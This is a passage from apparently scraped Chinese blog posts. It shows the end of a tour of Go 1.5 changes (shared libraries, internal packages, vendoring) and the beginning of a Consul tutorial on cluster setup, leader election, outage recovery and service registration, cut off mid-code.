/lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fa150921000)\n/lib64/ld-linux-x86-64.so.2 (0x00007fa1517a7000)\n好了，既然共享库编译出来了。我们就来用一下这个共享库。\n//app/main.go\npackage main\nimport (\n\u0026ldquo;testsharedlib/shlib\u0026rdquo;\n)\nfunc main() {\nshlib.Method1()\n}\n$ go build -linkshared main.go\n$ ldd main\nlinux-vdso.so.1 =\u0026gt; (0x00007fff579f7000)\nlibruntime,sync-atomic.so =\u0026gt; /home1/tonybai/.bin/go15beta1/go/pkg/linux_amd64_dynlink/libruntime,sync-atomic.so (0x00007fa8d6df2000)\nlibtestsharedlib-shlib.so =\u0026gt; /home1/tonybai/test/go/go15/pkg/linux_amd64_dynlink/libtestsharedlib-shlib.so (0x00007fa8d6962000)\nlibc.so.6 =\u0026gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa8d6586000)\nlibpthread.so.0 =\u0026gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fa8d6369000)\n/lib64/ld-linux-x86-64.so.2 (0x00007fa8d71ef000)\n$ main\nshlib -Method1\n编译执行ok。从输出结果来看，我们可以清晰看到main依赖的.so以及so的路径。我们再来试试，如果将testsharedlib源码目录移除后，是否还能编译ok：\n$ go build -linkshared main.go\nmain.go:4:2: cannot find package \u0026ldquo;testsharedlib/shlib\u0026rdquo; in any of:\n/home1/tonybai/.bin/go15beta1/go/src/testsharedlib/shlib (from $GOROOT)\n/home1/tonybai/test/go/go15/src/testsharedlib/shlib (from $GOPATH)\ngo编译器无法找到shlib，也就说即便是动态链接，我们也要有动态共享库的源码，应用才能编译通过。\n【internal package】\ninternal包不是go 1.5的原创，在go 1.4中就已经提出对internal package的支持了。但go 1.4发布时，internal package只能用于GOROOT下的go core核心包，用户层面GOPATH不支持internal package。按原计划，go 1.5中会将internal包机制工作范围全面扩大到所有repository的。我原以为1.5beta1以及将internal package机制生效了，但实际结果呢，我们来看看示例代码：\n测试目录结构如下：\ntestinternal/src\nmypkg/\n/internal\n/foo\nfoo.go\n/pkg1\nmain.go\notherpkg/\nmain.go\n按照internal包的原理，预期mypkg/pkg1下的代码是可以import \u0026ldquo;mypkg/internal/foo\u0026quot;的，otherpkg/下的代码是不能import \u0026ldquo;mypkg/internal/foo\u0026quot;的。\n//foo.go\npackage foo\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc Foo() {\nfmt.Println(\u0026ldquo;mypkg/internal/foo\u0026rdquo;)\n}\n//main.go\npackage main\nimport \u0026ldquo;mypkg/internal/foo\u0026rdquo;\nfunc main() {\nfoo.Foo()\n}\n在pkg1和otherpkg下分别run main.go：\nmypkg/pkg1$ go run main.go\nmypkg/internal/foo\notherpkg$ go run main.go\nmypkg/internal/foo\n可以看到在otherpkg下执行时，并没有任何build error出现。看来internal机制并未生效。\n我们再来试试import $GOROOT下某些internal包，看看是否可以成功：\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;image/internal/imageutil\u0026rdquo;\n)\nfunc main() {\nfmt.Println(imageutil.DrawYCbCr)\n}\n我们run这个代码：\n$go run main.go\n0x6b7f0\n同样没有出现任何error。\n不是很清楚为何在1.5beta1中internal依旧无效。难道非要等最终1.5 release版么？\n【Vendor】\nVendor机制是go team为了解决go第三方包依赖和管理而引入的实验性技术。你执行以下go env：\n$go env\nGOARCH=\u0026ldquo;amd64\u0026rdquo;\nGOBIN=\u0026quot;/Users/tony/.bin/go15beta1/go/bin\u0026rdquo;\nGOEXE=\u0026rdquo;\u0026rdquo;\nGOHOSTARCH=\u0026ldquo;amd64\u0026rdquo;\nGOHOSTOS=\u0026ldquo;darwin\u0026rdquo;\nGOOS=\u0026ldquo;darwin\u0026rdquo;\nGOPATH=\u0026quot;/Users/tony/Test/GoToolsProjects\u0026quot;\nGORACE=\u0026quot;\u0026quot;\nGOROOT=\u0026quot;/Users/tony/.bin/go15beta1/go\u0026quot;\nGOTOOLDIR=\u0026quot;/Users/tony/.bin/go15beta1/go/pkg/tool/darwin_amd64\u0026quot;\nGO15VENDOREXPERIMENT=\u0026quot;\u0026quot;\nCC=\u0026ldquo;clang\u0026rdquo;\nGOGCCFLAGS=\u0026quot;-fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fno-common\u0026quot;\nCXX=\u0026ldquo;clang++\u0026rdquo;\nCGO_ENABLED=\u0026ldquo;1\u0026rdquo;\n从结果中你会看到新增一个GO15VENDOREXPERIMENT变量，这个就是用来控制vendor机制是否开启的环境变量，默认不开启。若要开启，可以在环境变量文件中设置或export GO15VENDOREXPERIMENT=1临时设置。\nvendor机制是在go 1.5beta1发布前不长时间临时决定加入到go 1.5中的，Russ Cox在Keith Rarick之前的一个Proposal的基础上重新做了设计而成，大致机制内容：\nIf there is a source directory d/vendor, then,\nwhen compiling a source file within the subtree rooted at d,\nimport \u0026ldquo;p\u0026rdquo; is interpreted as import \u0026ldquo;d/vendor/p\u0026rdquo; if that exists.\nWhen there are multiple possible resolutions,\nthe most specific (longest) path wins.\nThe short form must always be used: no import path can\ncontain “/vendor/” explicitly.\nImport comments are ignored in vendored packages.\n下面我们来测试一下这个机制。首先我们临时开启vendor机制，export GO15VENDOREXPERIMENT=1，我们的测试目录规划如下：\ntestvendor\nvendor/\ntonybai.com/\nfoolib/\nfoo.go\nmain/\nmain.go\n$GOPATH/src/tonybai.com/foolib/foo.go\n//vendor/tonybai.com/foolib/foo.go\npackage foo\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc Hello() {\nfmt.Println(\u0026ldquo;foo in vendor\u0026rdquo;)\n}\n//$GOPATH/src/tonybai.com/foolib/foo.go\npackage foo\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc Hello() {\nfmt.Println(\u0026ldquo;foo in gopath\u0026rdquo;)\n}\nvendor和gopath下的foo.go稍有不同，主要在输出内容上，以方便后续区分。\n现在我们编译执行main.go\n//main/main.go\npackage main\nimport (\n\u0026ldquo;tonybai.com/foolib\u0026rdquo;\n)\nfunc main() {\nfoo.Hello()\n}\n$go run main.go\nfoo in gopath\n显然结果与预期不符，我们通过go list -json来看main.go的依赖包路径：\n$go list -json\n{\n… …\n\u0026ldquo;Imports\u0026rdquo;: [\n\u0026ldquo;tonybai.com/foolib\u0026rdquo;\n],\n\u0026ldquo;Deps\u0026rdquo;: [\n\u0026ldquo;errors\u0026rdquo;,\n\u0026ldquo;fmt\u0026rdquo;,\n\u0026ldquo;io\u0026rdquo;,\n\u0026ldquo;math\u0026rdquo;,\n\u0026ldquo;os\u0026rdquo;,\n\u0026ldquo;reflect\u0026rdquo;,\n\u0026ldquo;runtime\u0026rdquo;,\n\u0026ldquo;strconv\u0026rdquo;,\n\u0026ldquo;sync\u0026rdquo;,\n\u0026ldquo;sync/atomic\u0026rdquo;,\n\u0026ldquo;syscall\u0026rdquo;,\n\u0026ldquo;time\u0026rdquo;,\n\u0026ldquo;tonybai.com/foolib\u0026rdquo;,\n\u0026ldquo;unicode/utf8\u0026rdquo;,\n\u0026ldquo;unsafe\u0026rdquo;\n]\n}\n可以看出并没有看到vendor路径，main.go import的是$GOPATH下的foo。难道是go 1.5beta1的Bug？于是翻看各种资料，最后在go 1.5beta1发布前最后提交的revison的commit log中得到了帮助：\ncmd/go: disable vendoredImportPath for code outside $GOPATH\nIt was crashing.\nThis fixes the build for\nGO15VENDOREXPERIMENT=1 go test -short runtime\nFixes #11416.\nChange-Id: I74a9114cdd8ebafcc9d2a6f40bf500db19c6e825\nReviewed-on: https://go-review.googlesource.com/11964\nReviewed-by: Russ Cox rsc@golang.org\n从commit log来看，大致意思是$GOPATH之外的代码的vendor机制被disable了（因为某个bug）。也就是说只有$GOPATH路径下的包在 import时才会考虑vendor路径，我们的代码的确没有在$GOPATH下，我们重新设置一下$GOPATH。\n$export GOPATH=~/test/go/go15\n[tony@TonydeMacBook-Air-2 ~/test/go/go15/src/testvendor/main]$go list -json\n{\n… …\n\u0026ldquo;Imports\u0026rdquo;: [\n\u0026ldquo;testvendor/vendor/tonybai.com/foolib\u0026rdquo;\n],\n\u0026ldquo;Deps\u0026rdquo;: [\n\u0026ldquo;errors\u0026rdquo;,\n\u0026ldquo;fmt\u0026rdquo;,\n\u0026ldquo;io\u0026rdquo;,\n\u0026ldquo;math\u0026rdquo;,\n\u0026ldquo;os\u0026rdquo;,\n\u0026ldquo;reflect\u0026rdquo;,\n\u0026ldquo;runtime\u0026rdquo;,\n\u0026ldquo;strconv\u0026rdquo;,\n\u0026ldquo;sync\u0026rdquo;,\n\u0026ldquo;sync/atomic\u0026rdquo;,\n\u0026ldquo;syscall\u0026rdquo;,\n\u0026ldquo;testvendor/vendor/tonybai.com/foolib\u0026rdquo;,\n\u0026ldquo;time\u0026rdquo;,\n\u0026ldquo;unicode/utf8\u0026rdquo;,\n\u0026ldquo;unsafe\u0026rdquo;\n]\n}\n这回可以看到vendor机制生效了。执行main.go:\n$go run main.go\nfoo in vendor\n这回与预期结果就相符了。\n前面提到，关闭GOPATH外的vendor机制是因为一个bug，相信go 1.5正式版发布时，这块会被enable的。\n三、小结\nGo 1.5还增加了很多工具，如trace，但因文档不全，尚不知如何使用。\nGo 1.5标准库也有很多小的变化，这个只有到使用时才能具体深入了解。\nGo 1.5更多是Go语言骨子里的变化，也就是runtime和编译器重写。语法由于兼容Go 1，所以基本frozen，因此从外在看来，基本没啥变动了。\n至于Go 1.5的性能，官方的说法是，有的程序用1.5编译后会变得慢点，有的会快些。官方bench的结果是总体比1.4快上一些。但Go 1.5在性能方面主要是为了减少gc延迟，后续版本才会在性能上做进一步优化，优化空间还较大的，这次runtime、编译器由c变go，很多地方的go 代码并非是最优的，多是自动翻译，相信经过Go team的优化后，更idiomatic的Go code会让Go整体性能更为优异。\n","permalink":"https://tonybai.com/2015/07/10/some-changes-in-go-1-5/","summary":"\u003cp\u003e在\u003ca href=\"http://www.gophercon.com/\"\u003eGopherCon2015\u003c/a\u003e开幕之 际，Google Go Team终于放出了Go 1.5Beta1版本的安装包。在go 1.5Beta1的发布说明中，Go Team也诚恳地承认Go 1.5将打破之前6个月一个版本的发布周期，这是因为Go 1.5变动太大，需要更多时间来准备这次发布（fix bug, Write doc）。关于Go 1.5的变化，之前Go Team staff在各种golang技术会议的\u003ca href=\"https://talks.golang.org%20/2015/gogo.slide\"\u003eslide\u003c/a\u003e  中暴露不少，包括：\u003c/p\u003e","title":"Go 1.5中值得关注的几个变化"},{"content":"Consul是HashiCorp公司推出的开源工具，用于实现分布式系统的服务发现与配置。与其他分布式服务注册与发现的方案，比如 Airbnb的SmartStack等相比，Consul的方案更“一站式”，内置了服务注册与发现框 架、分布一致性协议实现、健康检查、Key/Value存储、多数据中心方案，不再需要依赖其他工具（比如ZooKeeper等）。使用起来也较 为简单。Consul用Golang实现，因此具有天然可移植性(支持Linux、windows和Mac OS X)；安装包仅包含一个可执行文件，方便部署，与Docker等轻量级容器可无缝配合。\n本文是Consul的入门介绍，并用一些例子说明如何使用Consul实现服务的注册和发现。\n一、建立Consul Cluster\n要想利用Consul提供的服务实现服务的注册与发现，我们需要建立Consul Cluster。在Consul方案中，每个提供服务的节点上都要部署和运行Consul的agent，所有运行Consul agent节点的集合构成Consul Cluster。Consul agent有两种运行模式：Server和Client。这里的Server和Client只是Consul集群层面的区分，与搭建在Cluster之上 的应用服务无关。以Server模式运行的Consul agent节点用于维护Consul集群的状态，官方建议每个Consul Cluster至少有3个或以上的运行在Server mode的Agent，Client节点不限。\n每个数据中心的Consul Cluster都会在运行于server模式下的agent节点中选出一个Leader节点，这个选举过程通过Consul实现的raft协议保证，多个 server节点上的Consul数据信息是强一致的。处于client mode的Consul agent节点比较简单，无状态，仅仅负责将请求转发给Server agent节点。\n下面我们就来搭建一个实验Consul Cluster。\n实验环境和节点角色如下：\nn1(Ubuntu 14.04 x86_64): 10.10.105.71 server mode\nn2(Ubuntu 12.04 x86_64): 10.10.126.101 server mode with Consul Web UI\nn3(Ubuntu 9.04 i386): 10.10.126.187 client mode\n在三台主机上分别下载和安装Consul包，安装包很简单，只是包含一个可执行文件consul。在n2主机上还要下载一份Consul Web UI包，支持图形化展示Consul cluster中的节点状态和服务状态。\nConsul Cluster的启动过程如下：\nn1主机：\n$ consul agent -server -bootstrap-expect 2 -data-dir /tmp/consul -node=n1 -bind=10.10.105.71 -dc=dc1\n==\u0026gt; WARNING: Expect Mode enabled, expecting 2 servers\n==\u0026gt; WARNING: It is highly recommended to set GOMAXPROCS higher than 1\n==\u0026gt; Starting Consul agent…\n==\u0026gt; Starting Consul agent RPC…\n==\u0026gt; Consul agent running!\nNode name: \u0026rsquo;n1\u0026rsquo;\nDatacenter: \u0026lsquo;dc1\u0026rsquo;\nServer: true (bootstrap: false)\nClient Addr: 127.0.0.1 (HTTP: 8500, HTTPS: -1, DNS: 8600, RPC: 8400)\nCluster Addr: 10.10.105.71 (LAN: 8301, WAN: 8302)\nGossip encrypt: false, RPC-TLS: false, TLS-Incoming: false\nAtlas: ==\u0026gt; Log data will now stream in as it occurs:\n2015/07/03 09:18:25 [INFO] serf: EventMemberJoin: n1 10.10.105.71\n2015/07/03 09:18:25 [INFO] serf: EventMemberJoin: n1.dc1 10.10.105.71\n2015/07/03 09:18:25 [INFO] raft: Node at 10.10.105.71:8300 [Follower] entering Follower state\n2015/07/03 09:18:25 [INFO] consul: adding server n1 (Addr: 10.10.105.71:8300) (DC: dc1)\n2015/07/03 09:18:25 [INFO] consul: adding server n1.dc1 (Addr: 10.10.105.71:8300) (DC: dc1)\n2015/07/03 09:18:25 [ERR] agent: failed to sync remote state: No cluster leader\n2015/07/03 09:18:26 [WARN] raft: EnableSingleNode disabled, and no known peers. Aborting election.1\nn2主机：\n$ consul agent -server -bootstrap-expect 2 -data-dir /tmp/consul -node=n2 -bind=10.10.126.101 -ui-dir ./dist -dc=dc1\n==\u0026gt; WARNING: Expect Mode enabled, expecting 2 servers\n==\u0026gt; WARNING: It is highly recommended to set GOMAXPROCS higher than 1\n==\u0026gt; Starting Consul agent…\n==\u0026gt; Starting Consul agent RPC…\n==\u0026gt; Consul agent running!\nNode name: \u0026rsquo;n2\u0026rsquo;\nDatacenter: \u0026lsquo;dc1\u0026rsquo;\nServer: true (bootstrap: false)\nClient Addr: 127.0.0.1 (HTTP: 8500, HTTPS: -1, DNS: 8600, RPC: 8400)\nCluster Addr: 10.10.126.101 (LAN: 8301, WAN: 8302)\nGossip encrypt: false, RPC-TLS: false, TLS-Incoming: false\nAtlas: ==\u0026gt; Log data will now stream in as it occurs:\n2015/07/03 11:30:32 [INFO] serf: EventMemberJoin: n2 10.10.126.101\n2015/07/03 11:30:32 [INFO] serf: EventMemberJoin: n2.dc1 10.10.126.101\n2015/07/03 11:30:32 [INFO] raft: Node at 10.10.126.101:8300 [Follower] entering Follower state\n2015/07/03 11:30:32 [INFO] consul: adding server n2 (Addr: 10.10.126.101:8300) (DC: dc1)\n2015/07/03 11:30:32 [INFO] consul: adding server n2.dc1 (Addr: 10.10.126.101:8300) (DC: dc1)\n2015/07/03 11:30:32 [ERR] agent: failed to sync remote state: No cluster leader\n2015/07/03 11:30:33 [WARN] raft: EnableSingleNode disabled, and no known peers. Aborting election.\n从两个server agent的启动日志可以看出，n1、n2启动后并不知道集群其他节点的存在。以n1为例，通过consul members和consul info查看当前agent状态：\n$ consul members\nNode Address Status Type Build Protocol DC\nn1 10.10.105.71:8301 alive server 0.5.2 2 dc1\n$ consul info\n… …\nconsul:\nbootstrap = false\nknown_datacenters = 1\nleader = false\nserver = true\nraft:\napplied_index = 0\ncommit_index = 0\nfsm_pending = 0\nlast_contact = never\nlast_log_index = 0\nlast_log_term = 0\nlast_snapshot_index = 0\nlast_snapshot_term = 0\nnum_peers = 0\nstate = Follower\nterm = 0\n… …\n可以看出，n1上的agent当前状态是Follower，bootstrap = false；n2同样也是这个情况。整个Cluster并未完成Bootstrap过程。\n我们用consul join命令触发Cluster bootstrap过程，我们在n1上执行如下命令：\n$ consul join 10.10.126.101\nSuccessfully joined cluster by contacting 1 nodes.\n我们通过consul join子命令将当前节点加入包含成员10.10.126.101（也就是n2)的集群中去。命令执行结果通过n1和n2的日志可以观察到：\nn1主机:\n2015/07/03 09:29:48 [INFO] agent: (LAN) joining: [10.10.126.101]\n2015/07/03 09:29:48 [INFO] serf: EventMemberJoin: n2 10.10.126.101\n2015/07/03 09:29:48 [INFO] agent: (LAN) joined: 1 Err: 2015/07/03 09:29:48 [INFO] consul: adding server n2 (Addr: 10.10.126.101:8300) (DC: dc1)\n2015/07/03 09:29:48 [INFO] consul: Attempting bootstrap with nodes: [10.10.126.101:8300 10.10.105.71:8300]\n2015/07/03 09:29:49 [INFO] consul: New leader elected: n2\n2015/07/03 09:29:50 [INFO] agent: Synced service \u0026lsquo;consul\u0026rsquo;\nn2主机:\n2015/07/03 11:40:53 [INFO] serf: EventMemberJoin: n1 10.10.105.71\n2015/07/03 11:40:53 [INFO] consul: adding server n1 (Addr: 10.10.105.71:8300) (DC: dc1)\n2015/07/03 11:40:53 [INFO] consul: Attempting bootstrap with nodes: [10.10.126.101:8300 10.10.105.71:8300]\n2015/07/03 11:40:54 [WARN] raft: Heartbeat timeout reached, starting election\n2015/07/03 11:40:54 [INFO] raft: Node at 10.10.126.101:8300 [Candidate] entering Candidate state\n2015/07/03 11:40:54 [INFO] raft: Election won. Tally: 2\n2015/07/03 11:40:54 [INFO] raft: Node at 10.10.126.101:8300 [Leader] entering Leader state\n2015/07/03 11:40:54 [INFO] consul: cluster leadership acquired\n2015/07/03 11:40:54 [INFO] consul: New leader elected: n2\n2015/07/03 11:40:54 [INFO] raft: pipelining replication to peer 10.10.105.71:8300\n2015/07/03 11:40:54 [INFO] consul: member \u0026rsquo;n2\u0026rsquo; joined, marking health alive\n2015/07/03 11:40:54 [INFO] consul: member \u0026rsquo;n1\u0026rsquo; joined, marking health alive\n2015/07/03 11:40:55 [INFO] agent: Synced service \u0026lsquo;consul\u0026rsquo;\njoin后，两台主机互相知道了对方，并进行了leader election过程，n2被选举为Leader。\n在n2主机上通过consul info确认一下n2 agent的状态：\n$consul info\n… …\nconsul:\nbootstrap = false\nknown_datacenters = 1\nleader = true\nserver = true\nraft:\napplied_index = 10\ncommit_index = 10\nfsm_pending = 0\nlast_contact = never\nlast_log_index = 10\nlast_log_term = 1\nlast_snapshot_index = 0\nlast_snapshot_term = 0\nnum_peers = 1\nstate = Leader\nterm = 1\n… …\n$ consul members\nNode Address Status Type Build Protocol DC\nn2 10.10.126.101:8301 alive server 0.5.2 2 dc1\nn1 10.10.105.71:8301 alive server 0.5.2 2 dc1\n可以看到n2的state已经为Leader了，n1的state依旧是Follower。\n到这里，n1和n2就成为了dc1这个数据中心Consul Cluster的两个节点，而且是用来维护集群状态的Server node。n2被选举为Leader，n1是Folllower。\n如果作为Leader的n2退出集群，我们来看看集群状态会发生怎样变化。在n2上，我们通过consul leave命令告诉n2上的agent离开集群并退出：\n$ consul leave\nGraceful leave complete\nn2上Agent的日志：\n2015/07/03 14:04:40 [INFO] agent.rpc: Accepted client: 127.0.0.1:35853\n2015/07/03 14:04:40 [INFO] agent.rpc: Graceful leave triggered\n2015/07/03 14:04:40 [INFO] consul: server starting leave\n2015/07/03 14:04:40 [INFO] raft: Removed peer 10.10.105.71:8300, stopping replication (Index: 7)\n2015/07/03 14:04:40 [INFO] raft: Removed ourself, transitioning to follower\n2015/07/03 14:04:40 [INFO] raft: Node at 10.10.126.101:8300 [Follower] entering Follower state\n2015/07/03 14:04:40 [INFO] serf: EventMemberLeave: n2.dc1 10.10.126.101\n2015/07/03 14:04:40 [INFO] consul: cluster leadership lost\n2015/07/03 14:04:40 [INFO] raft: aborting pipeline replication to peer 10.10.105.71:8300\n2015/07/03 14:04:40 [INFO] consul: removing server n2.dc1 (Addr: 10.10.126.101:8300) (DC: dc1)\n2015/07/03 14:04:41 [INFO] serf: EventMemberLeave: n2 10.10.126.101\n2015/07/03 14:04:41 [INFO] consul: removing server n2 (Addr: 10.10.126.101:8300) (DC: dc1)\n2015/07/03 14:04:41 [INFO] agent: requesting shutdown\n2015/07/03 14:04:41 [INFO] consul: shutting down server\n2015/07/03 14:04:42 [INFO] agent: shutdown complete\nn1上的日志：\n2015/07/03 11:53:36 [INFO] serf: EventMemberLeave: n2 10.10.126.101\n2015/07/03 11:53:36 [INFO] consul: removing server n2 (Addr: 10.10.126.101:8300) (DC: dc1)\n2015/07/03 11:55:15 [ERR] agent: failed to sync remote state: No cluster leader\n这个时候我们在n1上通过consul info查看，n1的状态依旧是Follower，也就是说在双server节点的集群下，一个server退出，将产生无Leader状态。在三 server节点集群里，Leader退出，其余两个会再协商选出一个新Leader，但一旦再退出一个节点，同样集群就不会再有Leader了。 当然，如果是单节点bootstrap的集群( -bootstrap-expect 1 )，集群只有一个server节点，那这个server节点自然当选Leader。\n现在我们在n1上通过consul members查看集群状态：\n$ consul members\nNode Address Status Type Build Protocol DC\nn1 10.10.105.71:8301 alive server 0.5.2 2 dc1\nn2 10.10.126.101:8301 left server 0.5.2 2 dc1\n执行结果显示：n2是Left状态。我们重新启动n2，再来看看集群的状态变化。\n$ consul agent -server -bootstrap-expect 2 -data-dir /tmp/consul -node=n2 -bind=10.10.126.101 -ui-dir ./dist -dc=dc1\n… …\n==\u0026gt; Log data will now stream in as it occurs:\n2015/07/03 14:13:46 [INFO] serf: EventMemberJoin: n2 10.10.126.101\n2015/07/03 14:13:46 [INFO] raft: Node at 10.10.126.101:8300 [Follower] entering Follower state\n2015/07/03 14:13:46 [INFO] consul: adding server n2 (Addr: 10.10.126.101:8300) (DC: dc1)\n2015/07/03 14:13:46 [INFO] serf: EventMemberJoin: n2.dc1 10.10.126.101\n2015/07/03 14:13:46 [INFO] consul: adding server n2.dc1 (Addr: 10.10.126.101:8300) (DC: dc1)\n2015/07/03 14:13:46 [ERR] agent: failed to sync remote state: No cluster leader\n2015/07/03 14:13:48 [WARN] raft: EnableSingleNode disabled, and no known peers. Aborting election.\n… …\nn2启动后，并未自动加入之前的cluster，而是依旧如第一次启动那样，看不到peers，孤立运行。\n我们再来在n1上join一下：consul join 10.10.126.101\nn1的日志变为：\n2015/07/03 12:04:55 [INFO] consul: adding server n2 (Addr: 10.10.126.101:8300) (DC: dc1)\n2015/07/03 12:04:56 [ERR] agent: failed to sync remote state: No cluster leader\nn2的日志变为：\n2015/07/03 14:16:00 [INFO] serf: EventMemberJoin: n1 10.10.105.71\n2015/07/03 14:16:00 [INFO] consul: adding server n1 (Addr: 10.10.105.71:8300) (DC: dc1)\n2015/07/03 14:16:00 [INFO] consul: New leader elected: n2\n2015/07/03 14:16:01 [ERR] agent: failed to sync remote state: No cluster leader\nn1和n2无法再选出Leader，通过info命令看，两个节点都变成了Follower，集群仍然处于无Leader状态。\n这个问题在consul的github repositroy issues中被多人多次提及，但作者似乎不将此作为bug。产生这个问题的原因是当n2退出时，consul会将/tmp/consul/raft /peers.json的内容由：\n[\u0026ldquo;10.10.105.71:8300\u0026rdquo;, \u0026ldquo;10.10.126.101:8300\u0026rdquo;]\n改为\nnull\nn2重启后，该文件并未改变，依旧为null，n2启动就不会重新自动join到n1的cluster中。\n关于这个问题的cluster恢复方法，官方在Outage Recovery一文中有明确说明。我们来测试一下：\n我们打开n1和n2的/tmp/consul/raft/peers.json，将其内容统一修改为：\n[\u0026ldquo;10.10.126.101:8300\u0026rdquo;,\u0026ldquo;10.10.105.71:8300\u0026rdquo;]\n然后重启n2，但加上-rejoin命令：\n$ consul agent -server -bootstrap-expect 2 -data-dir /tmp/consul -node=n2 -bind=10.10.126.101 -ui-dir ./dist -dc=dc1 -rejoin\n…. …\n2015/07/03 14:56:02 [WARN] raft: Election timeout reached, restarting election\n2015/07/03 14:56:02 [INFO] raft: Node at 10.10.126.101:8300 [Candidate] entering Candidate state\n2015/07/03 14:56:02 [INFO] raft: Election won. Tally: 2\n2015/07/03 14:56:02 [INFO] raft: Node at 10.10.126.101:8300 [Leader] entering Leader state\n2015/07/03 14:56:02 [INFO] consul: cluster leadership acquired\n2015/07/03 14:56:02 [INFO] consul: New leader elected: n2\n…….\nn1上的日志：\n2015/07/03 12:44:52 [INFO] serf: EventMemberJoin: n2 10.10.126.101\n2015/07/03 12:44:52 [INFO] consul: adding server n2 (Addr: 10.10.126.101:8300) (DC: dc1)\n2015/07/03 12:44:54 [INFO] consul: New leader elected: n2\n2015/07/03 12:44:55 [WARN] raft: Rejecting vote from 10.10.126.101:8300 since we have a leader: 10.10.126.101:8300\n2015/07/03 12:44:56 [WARN] raft: Heartbeat timeout reached, starting election\n2015/07/03 12:44:56 [INFO] raft: Node at 10.10.105.71:8300 [Candidate] entering Candidate state\n2015/07/03 12:44:56 [ERR] raft: Failed to make RequestVote RPC to 10.10.126.101:8300: EOF\n2015/07/03 12:44:57 [INFO] raft: Node at 10.10.105.71:8300 [Follower] entering Follower state\n2015/07/03 12:44:57 [INFO] consul: New leader elected: n2\n这回集群的Leader重新选举成功，集群状态恢复。\n接下来我们启动n3上的client mode agent：\n$ consul agent -data-dir /tmp/consul -node=n3 -bind=10.10.126.187 -dc=dc1\n==\u0026gt; WARNING: It is highly recommended to set GOMAXPROCS higher than 1\n==\u0026gt; Starting Consul agent…\n==\u0026gt; Starting Consul agent RPC…\n==\u0026gt; Consul agent running!\nNode name: \u0026rsquo;n3\u0026rsquo;\nDatacenter: \u0026lsquo;dc1\u0026rsquo;\nServer: false (bootstrap: false)\nClient Addr: 127.0.0.1 (HTTP: 8500, HTTPS: -1, DNS: 8600, RPC: 8400)\nCluster Addr: 10.10.126.187 (LAN: 8301, WAN: 8302)\nGossip encrypt: false, RPC-TLS: false, TLS-Incoming: false\nAtlas: ==\u0026gt; Log data will now stream in as it occurs:\n2015/07/03 14:55:17 [INFO] serf: EventMemberJoin: n3 10.10.126.187\n2015/07/03 14:55:17 [ERR] agent: failed to sync remote state: No known Consul servers\n在n3上join n1后，n3的日志输出如下：\n2015/07/03 14:59:31 [INFO] agent: (LAN) joining: [10.10.105.71]\n2015/07/03 14:59:31 [INFO] serf: EventMemberJoin: n2 10.10.126.101\n2015/07/03 14:59:31 [INFO] serf: EventMemberJoin: n1 10.10.105.71\n2015/07/03 14:59:31 [INFO] agent: (LAN) joined: 1 Err: 2015/07/03 14:59:31 [INFO] consul: adding server n2 (Addr: 10.10.126.101:8300) (DC: dc1)\n2015/07/03 14:59:31 [INFO] consul: adding server n1 (Addr: 10.10.105.71:8300) (DC: dc1)\nn3上consul members可以查看到如下内容：\n$ consul members\nNode Address Status Type Build Protocol DC\nn1 10.10.105.71:8301 alive server 0.5.2 2 dc1\nn3 10.10.126.187:8301 alive client 0.5.2 2 dc1\nn2 10.10.126.101:8301 alive server 0.5.2 2 dc1\n处于client mode的agent可以自由退出和启动，不会出现server mode下agent的问题。\n二、服务****注册与发现\n我们建立Consul Cluster是为了实现服务的注册和发现。Consul支持两种服务注册的方式，一种是通过Consul的服务注册HTTP API，由服务自身在启动后调用API注册自己，另外一种则是通过在配置文件中定义服务的方式进行注册。Consul文档中建议使用后面一种方式来做服务 配置和服务注册。\n我们还是用例子来说明一下如何做服务配置。前面我们已经建立了Consul Cluster，Cluster里包含了三个Node：两个Server mode node，一个Client mode Node。我们计划在n2、n3上部署一类服务web3，于是我们需要分别在n2、n3上增加Consul agent的配置文件。\nConsul agent在启动时可以通过-config-dir来指定配置文件所在目录，比如以n3为例，我们可以如此启动n3：\nconsul agent -data-dir /tmp/consul -node=n3 -bind=10.10.126.187 -dc=dc1 -config-dir=./conf\n这样在./conf下的所有文件扩展为.json的文件都会被Consul agent作为配置文件读取。\n我们以n3为例，我们在n3的consul agent的配置文件目录下创建web3.json文件：\n//web3.json\n{\n\u0026ldquo;service\u0026rdquo;: {\n\u0026ldquo;name\u0026rdquo;: \u0026ldquo;web3\u0026rdquo;,\n\u0026ldquo;tags\u0026rdquo;: [\u0026ldquo;master\u0026rdquo;],\n\u0026ldquo;address\u0026rdquo;: \u0026ldquo;127.0.0.1\u0026rdquo;,\n\u0026ldquo;port\u0026rdquo;: 10000,\n\u0026ldquo;checks\u0026rdquo;: [\n{\n\u0026ldquo;http\u0026rdquo;: \u0026ldquo;http://localhost:10000/health\u0026rdquo;,\n\u0026ldquo;interval\u0026rdquo;: \u0026ldquo;10s\u0026rdquo;\n}\n]\n}\n}\n这个配置就是我们在n3节点上为web3这个服务做的服务定义，定义中包含服务的name、address、port等，还包含一个服务检测的配置，这里 我们每隔10s对服务进行一次健康检查，这要求服务增加对/health的处理逻辑。同理，我们在n2上也建立同样配置文件（n2需重启，并带上 -config-dir命令行选项），服务注册就这么简单。\n在重启后的n2、n3日志中，我们能发现如下的错误内容：\n2015/07/06 13:48:11 [WARN] agent: http request failed \u0026lsquo;http://localhost:10000/health\u0026rsquo; : Get http://localhost:10000/health: dial tcp 127.0.0.1:10000: connect failed\u0026quot;\n这就是agent对定义的服务的check日志。为了避免这个错误日志刷屏，我们在n2、n3上各部署一个web3服务实例。以n3上的web3为例，其源码如下：\n//web3.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;net/http\u0026rdquo;\n)\nfunc handler(w http.ResponseWriter, r *http.Request) {\nfmt.Println(\u0026ldquo;hello Web3! This is n3\u0026rdquo;)\nfmt.Fprintf(w, \u0026ldquo;Hello Web3! This is n3\u0026rdquo;)\n}\nfunc healthHandler(w http.ResponseWriter, r *http.Request) {\nfmt.Println(\u0026ldquo;health check!\u0026rdquo;)\n}\nfunc main() {\nhttp.HandleFunc(\u0026quot;/\u0026quot;, handler)\nhttp.HandleFunc(\u0026quot;/health\u0026quot;, 